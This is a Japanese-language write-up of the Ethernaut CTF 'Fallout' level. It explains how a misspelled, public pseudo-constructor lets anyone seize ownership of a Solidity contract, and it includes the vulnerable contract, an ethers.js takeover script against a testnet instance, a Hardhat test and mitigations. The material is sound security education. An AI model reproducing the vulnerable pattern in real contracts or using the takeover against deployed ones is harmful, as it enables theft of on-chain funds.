Skip to content
On this page

Ethernaut CTF Level: Fallout - スマートコントラクトのコンストラクタ名ミスを突く所有権奪取攻撃

はじめに

Ethernautは、OpenZeppelinが提供するスマートコントラクトのセキュリティ学習プラットフォームです。本記事では、その中の「Fallout」レベルについて、技術的な詳細と攻撃手法を解説します。このレベルは、Solidityのコンストラクタ命名規則に関する古典的かつ重要な脆弱性を学ぶための教材として設計されています。

問題の概要

Falloutレベルでは、与えられたコントラクトの所有権を取得することが目標です。コントラクトは一見すると、onlyOwnerモディファイアによって保護されたcollectAllocations()関数のみが所有者によって実行可能なように見えます。しかし、詳細なコード分析により、根本的な設計上の欠陥が明らかになります。

コントラクトの技術的分析

コントラクト構造の詳細

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

重要な観察点

  1. コンストラクタ関数の命名問題: コメントでは「constructor」と記載されていますが、関数名はFal1out("l"の代わりに数字の"1"を使用)となっています。

  2. Solidity 0.6.0のコンストラクタ規則: Solidity 0.4.22より前のバージョンでは、コンストラクタはコントラクト名と完全に一致する関数として定義されていました。しかし、Solidity 0.4.22以降ではconstructorキーワードが導入されました。このコントラクトはSolidity 0.6.0を使用していますが、constructorキーワードを使用していません。

  3. 関数の可視性: Fal1out()関数はpublicとして宣言されており、誰でも呼び出すことが可能です。

脆弱性の根本原因

歴史的な背景

Solidityの初期バージョンでは、コンストラクタはコントラクト名と完全に一致する名前の関数として定義されていました。この設計には重大な問題がありました:

  • タイプミスが発生した場合、コンストラクタが通常の公開関数になってしまう
  • コントラクト名を変更した場合、コンストラクタ関数も変更する必要がある
  • コードの可読性と安全性に問題があった

これらの問題を解決するため、Solidity 0.4.22でconstructorキーワードが導入されました。このキーワードを使用することで、コンパイラがコンストラクタを明確に識別できるようになりました。

本コントラクトの具体的問題

Falloutコントラクトでは、以下の問題が組み合わさっています:

  1. 命名ミス: コントラクト名はFalloutですが、コンストラクタとして意図された関数名はFal1outです("l"と"1"の違い)。

  2. 古い命名規則の使用: constructorキーワードを使用せず、古い命名規則に依存しています。

  3. public修飾子: 関数がpublicとして宣言されているため、誰でも実行可能です。

この組み合わせにより、Fal1out()関数は単なる通常の公開関数として扱われ、誰でも呼び出してowner変数を自分自身に設定することが可能になります。

攻撃手法の詳細

攻撃の理論的根拠

Fal1out()関数が実行されると、以下の処理が行われます:

solidity
function Fal1out() public payable {
    owner = msg.sender;  // 呼び出し元を所有者に設定
    allocations[owner] = msg.value;  // 送金されたETHを割り当て
}

この関数はpublicであるため、任意のアドレスから呼び出すことができます。関数が実行されると、msg.sender(呼び出し元)がowner変数に設定されます。これにより、攻撃者は簡単にコントラクトの所有権を奪取できます。

攻撃の実装

攻撃を実行するためのJavaScriptコード:

javascript
import { ethers } from "ethers";

async function main() {
    // プロバイダーの設定(Sepoliaテストネットを使用)
    const provider = new ethers.JsonRpcProvider("https://eth-sepolia.g.alchemy.com/v2/YOUR_API_KEY");
    
    // ウォレットの設定(秘密鍵から)
    const wallet = new ethers.Wallet("0xYOUR_PRIVATE_KEY", provider);
    
    // コントラクトアドレスとABI
    const contractAddress = "0x676e57FdBbd8e5fE1A7A3f4Bb1296dAC880aa639";
    const abi = [
        "function owner() external view returns (address)",
        "function Fal1out() public payable",
    ];
    
    // コントラクトインスタンスの作成
    const contract = new ethers.Contract(contractAddress, abi, wallet);
    
    try {
        // Fal1out()関数を呼び出して所有権を取得
        const tx = await contract.Fal1out();
        console.log("トランザクション送信完了:", tx.hash);
        
        // トランザクションの確認を待機
        await tx.wait();
        console.log("トランザクション確定完了");
        
        // 所有権の確認
        const newOwner = await contract.owner();
        console.log("新しい所有者:", newOwner);
        console.log("攻撃者のアドレス:", wallet.address);
        
        if (newOwner.toLowerCase() === wallet.address.toLowerCase()) {
            console.log("攻撃成功: 所有権を奪取しました");
        } else {
            console.log("攻撃失敗: 所有権の変更に失敗しました");
        }
    } catch (error) {
        console.error("エラー発生:", error);
    }
}

main().then(() => process.exit(0)).catch((error) => {
    console.error(error);
    process.exit(1);
});

攻撃の実行手順

  1. 環境設定: Ethers.jsライブラリを使用して、Sepoliaテストネットに接続します。

  2. コントラクトのインスタンス化: コントラクトアドレスと最小限のABI(owner()Fal1out()関数のみ)を使用してコントラクトオブジェクトを作成します。

  3. 関数の呼び出し: Fal1out()関数を呼び出します。この関数はpayableですが、ETHを送金する必要はありません(msg.valueが0でも問題ありません)。

  4. 所有権の確認: トランザクションが確定した後、owner()関数を呼び出して所有権が変更されたことを確認します。

脆弱性の影響と対策

潜在的な影響

  1. 資金の窃取: 攻撃者が所有権を取得すると、collectAllocations()関数を呼び出してコントラクト内の全資金を盗むことができます。

  2. コントラクトの制御喪失: 正当な所有者がコントラクトを制御できなくなり、ビジネスロジックが破綻します。

  3. システム全体への影響: このコントラクトがより大きなシステムの一部である場合、連鎖的な障害を引き起こす可能性があります。

防止策

  1. constructorキーワードの使用: Solidity 0.4.22以降では、常にconstructorキーワードを使用すべきです。
solidity
// 正しいコンストラクタの定義
constructor() public {
    owner = msg.sender;
}
  1. コードレビューの実施: 特にコンストラクタの定義については、複数人でのコードレビューを実施すべきです。

  2. 静的解析ツールの活用: SlitherやMythrilなどの静的解析ツールを使用して、潜在的な脆弱性を検出します。

  3. テストの徹底: 単体テストと統合テストを実施し、コンストラクタが正しく機能することを確認します。

  4. 命名規則の遵守: 関数名、変数名に数字と文字の混在を避け、明確な命名規則を遵守します。

発展的な考察

Solidityバージョン間の互換性

この脆弱性は、Solidityのバージョンアップに伴う後方互換性の問題を示しています。開発者は以下の点に注意すべきです:

  1. コンパイラバージョンの明確化: pragma solidityディレクティブで使用するバージョンを明確に指定します。

  2. 最新のプラクティスの採用: 常に最新のセキュリティプラクティスと言語機能を採用します。

  3. 移行ガイドの参照: Solidityのバージョンアップ時には、公式の移行ガイドを必ず参照します。

類似の脆弱性パターン

Falloutレベルの脆弱性は、より広範なパターンの一例です:

  1. タイポスクワッティング: 似たような名前の関数や変数による混乱(例:transfertranfer)。

  2. 可視性の誤設定: privateinternalとすべき関数を誤ってpublicに設定する。

  3. 初期化関数の不適切な保護: 初期化関数に適切なアクセス制御を設けない。

実践的な演習

脆弱性の再現環境構築

ローカル環境でこの脆弱性を再現するための手順:

  1. Remix IDEの使用:

    • Remix IDEを開き、新しいSolidityファイルを作成
    • Falloutコントラクトのコードを貼り付け
    • Solidityコンパイラのバージョンを0.6.0に設定
    • コントラクトをデプロイし、Fal1out()関数を呼び出して所有権を奪取
  2. Hardhat環境でのテスト:

javascript
// test/fallout.test.js
const { expect } = require("chai");

describe("Fallout", function() {
  it("Should allow anyone to become owner", async function() {
    const Fallout = await ethers.getContractFactory("Fallout");
    const fallout = await Fallout.deploy();
    
    // デプロイ後の所有者はゼロアドレス
    let owner = await fallout.owner();
    expect(owner).to.equal(ethers.constants.AddressZero);
    
    // 攻撃者がFal1out()を呼び出し
    const [attacker] = await ethers.getSigners();
    await fallout.connect(attacker).Fal1out();
    
    // 所有者が攻撃者に変更されていることを確認
    owner = await fallout.owner();
    expect(owner).to.equal(attacker.address);
  });
});

まとめ

Falloutレベルは、スマートコントラクト開発における基本的ながら重要な教訓を提供しています:

  1. コンストラクタの正しい定義: 常にconstructorキーワードを使用し、古い命名規則に依存しないこと。

  2. コードの慎重なレビュー: 特にセキュリティクリティカルな部分については、複数人での入念なレビューが必要です。

  3. ツールの活用: 静的解析ツールやテストフレームワークを活用して、潜在的な脆弱性を早期に発見します。

  4. 継続的な学習: Solidityやスマートコントラクトセキュリティの最新動向を継続的に学びます。

この脆弱性は一見単純ですが、実際のプロダクション環境でも同様のミスが発生する可能性があります。スマートコントラクトは一度デプロイすると変更が困難であるため、デプロイ前の徹底的な検証が極めて重要です。

Ethernautのようなプラットフォームを通じて、実際の攻撃手法を安全な環境で学ぶことは、より堅牢なスマートコントラクトを開発する上で貴重な経験となります。開発者はこれらの教訓を活かし、セキュアなコントラクト開発に努めるべきでしょう。

Built with AiAda